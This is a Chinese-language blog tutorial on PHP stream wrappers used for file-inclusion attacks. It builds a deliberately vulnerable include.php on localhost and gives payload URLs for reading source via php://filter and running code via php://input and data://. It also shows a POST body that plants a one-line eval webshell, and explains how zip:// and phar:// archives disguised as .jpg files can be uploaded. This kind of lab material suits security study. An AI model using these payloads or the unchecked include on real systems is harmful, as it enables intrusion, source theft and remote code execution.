簡單看懂Php僞協議

關於PHP僞協議的更多詳解,參考於 https://www.php.net/manual/zh/wrappers.file.php

先自寫一個include.php和.txt文件

<?php 
	$file = $_GET['file'];
	 if(isset($file)){
      	 	include("$file");
   	 }else{
        	echo "file fail";
     }
?>

一、file:// 協議

條件

allow_url_fopen:off/on
allow_url_include :off/on

作用

用於訪問本地文件系統,用來讀取本地文件的且不受allow_url_fopen與allow_url_include的影響
include() / require() / include_once() / require_once()參數可控的情況下,如導入爲非php文件,則仍按照php語法進行解析,這是include()函數所決定的。

只能傳入絕對路徑
file://[文件的絕對路徑和文件名]
http://127.0.0.1/include.php?file=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.txt
在這裏插入圖片描述
[file://相對路徑和文件名] 報錯
http://127.0.0.1/include.php?file=file://./phpinfo.txt
在這裏插入圖片描述

二、php:// 協議

條件

allow_url_fopen:off/on
allow_url_include :僅php://input php://stdin php://memory php://temp 需要on

作用

php:// 訪問各個輸入/輸出流(I/O streams),經常使用的是php://filterphp://inputphp://filter用於讀取源碼,php://input用於執行php代碼

協議 作用
php://input 可以訪問請求的原始數據的只讀流,在POST請求中訪問POST的data部分;
在enctype=“multipart/form-data” 的時候php://input 是無效的
php://output 只寫的數據流,允許以 print 和 echo 一樣的方式寫入到輸出緩衝區
php://fd (>=5.3.6)允許直接訪問指定的文件描述符
php://memory php://temp (>=5.1.0)一個類似文件包裝器的數據流,允許讀寫臨時數據。
兩者的唯一區別是 php://memory 總是把數據儲存在內存中,php://temp 會在內存量達到預定義的限制後(默認是 2MB)存入臨時文件中。
臨時文件位置的決定和 sys_get_temp_dir() 的方式一致。
php://filter (>=5.0.0)一種元封裝器,設計用於數據流打開時的篩選過濾應用。對於一體式(all-in-one)的文件函數非常有用,類似 readfile()、file() 和 file_get_contents(),在數據流內容讀取之前沒有機會應用其他過濾器
php://filter參數詳解

該協議的參數會在該協議路徑上進行傳遞,多個參數都可以在一個路徑上傳遞。具體參考如下:

php://filter 參數 描述
resource=<要過濾的數據流> 必須項。它指定了你要篩選過濾的數據流。
read=<讀鏈的過濾器> 可選項。可以設定一個或多個過濾器名稱,以管道符(**)分隔。
write=<寫鏈的過濾器> 可選項。可以設定一個或多個過濾器名稱,以管道符(\)分隔。
<; 兩個鏈的過濾器> 任何沒有以 read= 或 write= 作前綴的篩選器列表會視情況應用於讀或寫鏈。
主要的過濾器

詳細內容請參考:https://www.php.net/manual/zh/filters.php

字符串過濾器 作用
string.rot13 等同於str_rot13(),rot13變換
string.toupper 等同於strtoupper(),轉大寫字母
string.tolower 等同於strtolower(),轉小寫字母
string.strip_tags 等同於strip_tags(),去除html、PHP語言標籤
轉換過濾器 作用
convert.base64-encode / convert.base64-decode 等同於base64_encode()和base64_decode(),base64編碼解碼
convert.quoted-printable-encode / convert.quoted-printable-decode quoted-printable 字符串與 8-bit 字符串編碼解碼
壓縮過濾器 作用
zlib.deflate zlib.inflate 在本地文件系統中創建 gzip 兼容文件的方法,但不產生命令行工具如 gzip的頭和尾信息。只是壓縮和解壓數據流中的有效載荷部分。
bzip2.compress bzip2.decompress 同上,在本地文件系統中創建 bz2 兼容文件的方法。
加密過濾器 作用
mcrypt.* libmcrypt 對稱加密算法
mdecrypt.* libmcrypt 對稱解密算法

php://filter/resource=[文件名]讀取文件源碼
http://127.0.0.1/include.php?file=php://filter/resource=phpinfo.txt
在這裏插入圖片描述
php://filter/read=convert.base64-encode/resource=[文件名]讀取文件源碼(針對php文件需要base64編碼)
http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=phpinfo.txt
在這裏插入圖片描述
php://input + [POST DATA]執行php代碼
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php phpinfo(); ?>
在這裏插入圖片描述
若有寫入權限,寫入一句話木馬
http://127.0.0.1/include.php?file=php://input
[POST DATA部分] <?php fputs(fopen('yijuhua.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
在這裏插入圖片描述

三、zip:// & bzip2:// & zlib://

條件

allow_url_fopen:off/on
allow_url_include :off/on

作用

zip:// & bzip2:// & zlib:// 均屬於壓縮流,可以訪問壓縮文件中的子文件,更重要的是不需要指定後綴名,可修改爲任意後綴:jpg png gif xxx 等等

zip://[壓縮文件絕對路徑]#[壓縮文件內的子文件名](#編碼爲%23)
http://127.0.0.1/include.php?file=zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.zip%23phpinfo.txt

在文件上傳場景下,壓縮 phpinfo.txt 爲 phpinfo.zip ,壓縮包重命名爲 phpinfo.jpg ,並上傳
http://127.0.0.1/include.php?file=zip://D:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt

類似
壓縮 phpinfo.txt 爲 phpinfo.bz2 並上傳(同樣支持任意後綴名)
http://127.0.0.1/include.php?file=compress.bzip2://D:\phpStudy\PHPTutorial\WWW\phpinfo.bz2

壓縮 phpinfo.txt 爲 phpinfo.gz 並上傳(同樣支持任意後綴名)
http://127.0.0.1/include.php?file=compress.zlib://D:\phpStudy\PHPTutorial\WWW\phpinfo.gz
 

四、phar:// 協議

phar://協議與zip://類似,同樣可以訪問zip格式壓縮包內容
phar://[壓縮文件絕對路徑]/[壓縮文件內的子文件名]
http://127.0.0.1/include.php?file=phar://D:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
 

五、data://

條件

allow_url_fopen :on
allow_url_include :on

作用

PHP>=5.2.0,可以使用data://數據流封裝器,以傳遞相應格式的數據。通常可以用來執行PHP代碼

data://text/plain,
http://127.0.0.1/include.php?file=data://text/plain,<?php%20phpinfo();?>
在這裏插入圖片描述
data://text/plain;base64,
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
在這裏插入圖片描述

六、http:// & https:// 協議

條件

allow_url_fopen:on
allow_url_include :on

作用

常規 URL 形式,允許通過 HTTP 1.0 的 GET方法,以只讀訪問文件或資源。用於遠程包含

用法
http://example.com
http://example.com/file.php?var1=val1&var2=val2
http://user:[email protected]
https://example.com
https://example.com/file.php?var1=val1&var2=val2
https://user:[email protected]

http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
在這裏插入圖片描述

參考文章:https://segmentfault.com/a/1190000018991087
 
GOT IT!

 
******************************************************
小實驗小結,具體測試利用方式需根據具體實踐場景~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章